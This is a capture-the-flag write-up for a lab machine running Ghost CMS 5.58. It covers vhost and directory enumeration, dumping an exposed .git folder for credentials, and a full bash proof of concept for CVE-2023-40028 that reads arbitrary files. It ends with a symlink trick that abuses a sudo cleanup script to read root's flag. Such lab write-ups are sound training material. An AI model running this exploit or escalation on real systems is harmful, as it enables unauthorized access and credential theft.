Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
nmap -sC -T4 -p- linkvortex.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| _ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http
| _http-generator: Ghost 5.58
| _http-title: BitByBit Hardware
| http-robots.txt: 4 disallowed entries
| _/ghost/ /p/ /email/ /r/
So I checked its website:
I noticed that the website is using Ghost CMS :
And I found a login page:
I also got the Ghost version inspecting the source code <meta name="generator" content="Ghost 5.58">
:
So I decided to perform some vhost enumeration with Ffuf ๐ณ :
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://linkvortex.htb/ -H 'Host: FUZZ.linkvortex.htb' -mc 200
[redacted]
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 43ms]
So I added it to my known hosts and then inspected the website:
Now I performed some enumeration using dirsearch ๐ :
dirsearch -u http://dev.linkvortex.htb/
[18:22:16] 200 - 201B - /.git/config
[18:22:16] 200 - 73B - /.git/description
[18:22:16] 200 - 41B - /.git/HEAD
[18:22:16] 200 - 557B - /.git/
[18:22:16] 200 - 620B - /.git/hooks/
[18:22:16] 200 - 402B - /.git/info/
[18:22:16] 200 - 240B - /.git/info/exclude
[18:22:16] 200 - 401B - /.git/logs/
[18:22:16] 200 - 175B - /.git/logs/HEAD
[18:22:16] 200 - 147B - /.git/packed-refs
[18:22:16] 200 - 393B - /.git/refs/
[18:22:16] 200 - 418B - /.git/objects/
[18:22:16] 200 - 691KB - /.git/index
As I saw a lot of git info, I decided to use the tool git-dumper :
git-dumper http://dev.linkvortex.htb/.git/ ./results
I got all the code. So Iโll search for dumped passwords:
find * | grep -iR password
[redacted]
ghost/core/test/unit/api/canary/session.test.js: password: 'qu33nRul35'
ghost/core/test/unit/api/canary/session.test.js: password: 'qu33nRul35'
ghost/core/test/unit/api/canary/session.test.js: password: 'qu33nRul35'
ghost/core/test/regression/api/admin/authentication.test.js: const password = 'OctopiFociPilfer45' ;
ghost/core/test/utils/api.js: password: 'Sl1m3rson99'
ghost/core/test/utils/fixtures/filter-param/index.js:// Password = Sl1m3rson
ghost/core/test/utils/fixtures/filter-param/index.js: password: '$2a$10$.pZeeBE0gHXd0PTnbT/ph.GEKgd0Wd3q2pWna3ynTGBkPKnGIKZL6',
ghost/core/test/utils/fixtures/filter-param/index.js: password: '$2a$10$.pZeeBE0gHXd0PTnbT/ph.GEKgd0Wd3q2pWna3ynTGBkPKnGIKZL6',
ghost/core/test/utils/fixtures/filter-param/index.js: password: '$2a$10$.pZeeBE0gHXd0PTnbT/ph.GEKgd0Wd3q2pWna3ynTGBkPKnGIKZL6'
ghost/core/test/utils/fixtures/export/v4_export.json: "password": " $2a$10$GKFu8wxSXZNFF /cEmTE0/O1FZIz5uRGwlLmYKRicdCRR.bvBeBsJa",
ghost/core/test/utils/fixtures/export/v4_export.json: "password": " $2a$10$bp1iRtUQ8GTbLyB /JMSXNuDB3ws9/3R8LrzGFvl5vrkO9rzdLRRru"
ghost/core/test/utils/fixtures/export/v3_export.json: "password": " $2a$10$r0NpLiq8 /.nzyxQrM96dI.JHyhx56MzsVv7xI6K4wzQDeR6gOAi3m"
ghost/core/test/utils/fixtures/export/v3_export.json: "password": " $2a$10$2bT2p18W82Z7BXAkrUfD ..wIzN0kMKbgQrhCUg4d7t15QKof6z3qm"
ghost/core/test/utils/fixtures/export/valid.json: "password": " $2a$10 $.pZeeBE0gHXd0PTnbT/ph.GEKgd0Wd3q2pWna3ynTGBkPKnGIKABC",
we check if the password is a bcrypt hash already and fall back to
mysql root password: 'root'
I tried multiple combinations with all the previous passwords and emails and got some creds after a wild: admin@linkvortex.htb:OctopiFociPilfer45
:
Weaponization
I found the following PoC searching for โghost 5.58 exploit โ in synk.io :
#!/bin/bash
# Exploit Title: Ghost Arbitrary File Read
# Date: 10-03-2024
# Exploit Author: Mohammad Yassine
# Vendor Homepage: https://ghost.org/
# Version: BEFORE [ 5.59.1 ]
# Tested on: [ debian 11 bullseye ghost docker image ]
# CVE : CVE-2023-40028
#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER
#GHOST ENDPOINT
GHOST_URL = 'http://linkvortex.htb'
GHOST_API = " $GHOST_URL /ghost/api/v3/admin/"
API_VERSION = 'v3.0'
PAYLOAD_PATH = "` dirname $0 `/exploit"
PAYLOAD_ZIP_NAME = exploit.zip
# Function to print usage
function usage () {
echo "Usage: $0 -u username -p password"
}
while getopts 'u:p:' flag ; do
case "${ flag }" in
u ) USERNAME = "${ OPTARG }" ;;
p ) PASSWORD = "${ OPTARG }" ;;
*) usage
exit ;;
esac
done
if [[ -z $USERNAME || -z $PASSWORD ]]; then
usage
exit
fi
function generate_exploit ()
{
local FILE_TO_READ = $1
IMAGE_NAME = $( tr -dc A-Za-z0-9 < /dev/urandom | head -c 13 ; echo )
mkdir -p $PAYLOAD_PATH /content/images/2024/
ln -s $FILE_TO_READ $PAYLOAD_PATH /content/images/2024/ $IMAGE_NAME .png
zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH / & > /dev/null
}
function clean ()
{
rm $PAYLOAD_PATH /content/images/2024/ $IMAGE_NAME .png
rm -rf $PAYLOAD_PATH
rm $PAYLOAD_ZIP_NAME
}
#CREATE COOKIE
curl -c cookie.txt -d username= $USERNAME -d password= $PASSWORD \
-H "Origin: $GHOST_URL " \
-H "Accept-Version: v3.0" \
$GHOST_API /session/ & > /dev/null
if ! cat cookie.txt | grep -q ghost-admin-api-session ; then
echo "[!] INVALID USERNAME OR PASSWORD"
rm cookie.txt
exit
fi
function send_exploit ()
{
RES = $( curl -s -b cookie.txt \
-H "Accept: text/plain, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "X-Ghost-Version: 5.58" \
-H "App-Pragma: no-cache" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: multipart/form-data" \
-X POST \
-H "Origin: $GHOST_URL " \
-H "Referer: $GHOST_URL /ghost/" \
-F "importfile=@` dirname $PAYLOAD_PATH `/ $PAYLOAD_ZIP_NAME ;type=application/zip" \
-H "form-data; name= \" importfile \" ; filename= \" $PAYLOAD_ZIP_NAME \" " \
-H "Content-Type: application/zip" \
-J \
" $GHOST_URL /ghost/api/v3/admin/db")
if [ $? -ne 0 ]; then
echo "[!] FAILED TO SEND THE EXPLOIT"
clean
exit
fi
}
echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true ; do
read -p "file> " INPUT
if [[ $INPUT == "exit" ]]; then
echo "Bye Bye !"
break
fi
if [[ $INPUT =~ \ ]]; then
echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
continue
fi
if [ -z $INPUT ]; then
echo "VALUE REQUIRED"
continue
fi
generate_exploit $INPUT
send_exploit
curl -b cookie.txt -s $GHOST_URL /content/images/2024/ $IMAGE_NAME .png
clean
done
rm cookie.txt
Exploitation
I ran the exploit:
./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
It worked! Now I can read passwd
Now I remembered the Dockerfile I inspected with the git-dumper:
So Iโll read the content of /var/lib/ghost/config.production.json
:
file> /var/lib/ghost/config.production.json
{
"url" : "http://localhost:2368",
"server" : {
"port" : 2368,
"host" : "::"
},
"mail" : {
"transport" : "Direct"
},
"logging" : {
"transports" : [ "stdout" ]
},
"process" : "systemd",
"paths" : {
"contentPath" : "/var/lib/ghost/content"
},
"spam" : {
"user_login" : {
"minWait" : 1,
"maxWait" : 604800000,
"freeRetries" : 5000
}
},
"mail" : {
"transport" : "SMTP",
"options" : {
"service" : "Google",
"host" : "linkvortex.htb",
"port" : 587,
"auth" : {
"user" : "bob@linkvortex.htb",
"pass" : "fibber-talented-worth"
}
}
}
}
Got user creds: bob@linkvortex.htb:fibber-talented-worth
User flag
So I connected via ssh to the machine and got user flag:
Privilege Escalation
If I run sudo -l
:
sudo -l
[redacted]
User bob may run the following commands on linkvortex:
( ALL ) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh * .png
So I inspected what the executable did:
#!/bin/bash
QUAR_DIR = "/var/quarantined"
if [ -z $CHECK_CONTENT ]; then
CHECK_CONTENT = false
fi
LINK = $1
if ! [[ " $LINK " =~ \. png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK; then
LINK_NAME = $( /usr/bin/basename $LINK )
LINK_TARGET = $( /usr/bin/readlink $LINK )
if /usr/bin/echo " $LINK_TARGET " | /usr/bin/grep -Eq '(etc|root)' ; then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR /
if $CHECK_CONTENT; then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR / $LINK_NAME 2> /dev/null
fi
fi
fi
The script checks if a PNG file passed as an argument is a symbolic link. If it is, it verifies whether the link points to critical directories such asย /etc
ย orย /root
.
If it does, the script removes the link.
If not, it moves the link to a quarantine directory and, optionally, displays its content.
If the file is not a PNG, the script terminates with an error.
First, Iโll create a flag.txt
that will point to /root/root.txt
:
cd
ln -s /root/root.txt flag.txt
Now Iโll make a shortcut flag.png
that will point to flag.txt
, so when you open flag.png
it will lead to /root/root.txt
:
ln -s /home/bob/flag.txt flag.png
Finally, Iโll execute the script with the flag.png
:
sudo CHECK_CONTENT= true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png
Root flag
Got root flag :D
Machine pwned!